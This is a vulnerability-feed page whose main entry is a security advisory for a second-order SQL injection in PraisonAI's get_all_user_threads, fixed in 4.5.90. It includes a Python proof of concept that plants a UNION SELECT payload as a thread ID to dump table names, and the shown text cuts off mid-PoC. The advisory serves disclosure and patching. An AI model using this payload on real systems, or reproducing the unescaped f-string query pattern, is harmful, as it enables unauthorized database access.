Most recent entries from all

cnvd-2026-18144

2026-10-17T16:05:18.253387+00:00

cnvd-2026-18144

EUVD-2026-280273

2026-10-17T16:05:18.253418+00:00

EUVD-2026-280273

fkie_cve-2026-34934

2026-10-17T16:05:18.253438+00:00

PraisonAI is a multi-agent teams system. Prior to version 4.5.90, the get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access. This issue has been patched in version 4.5.90.

GHSA-9cq8-3v94-434g — PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`

2026-10-17T16:05:18.253467+00:00

Affected: PyPI: praisonai

## Summary

The `get_all_user_threads` function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via `update_thread`. When the application loads the thread list, the injected payload executes and grants full database access.

---

## Details

**File Path:** `src/praisonai/praisonai/ui/sql_alchemy.py`

**Flow:** - **Source (Line 539):** ```python await data_layer.update_thread(thread_id=payload, user_id=user) ```

- **Hop (Line 547):** ```python thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')" ```

- **Sink (Line 576):** ```sql WHERE s."threadId" IN {thread_ids} ```

---

## Proof of Concept (PoC)

```python

import asyncio from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer

async def run_poc(): data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")

# Insert a valid thread await data_layer.update_thread( thread_id="valid_thread", user_id="attacker" )

# Inject malicious payload payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"

await data_layer.update_thread( thread_id=payload, user_id="attacker" )

# Trigger vulnerable function result = await data_layer.get_all_user_threads(user_id="attacker")

for thread in result:…

PYSEC-2026-470 — PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`

2026-10-17T16:05:18.253520+00:00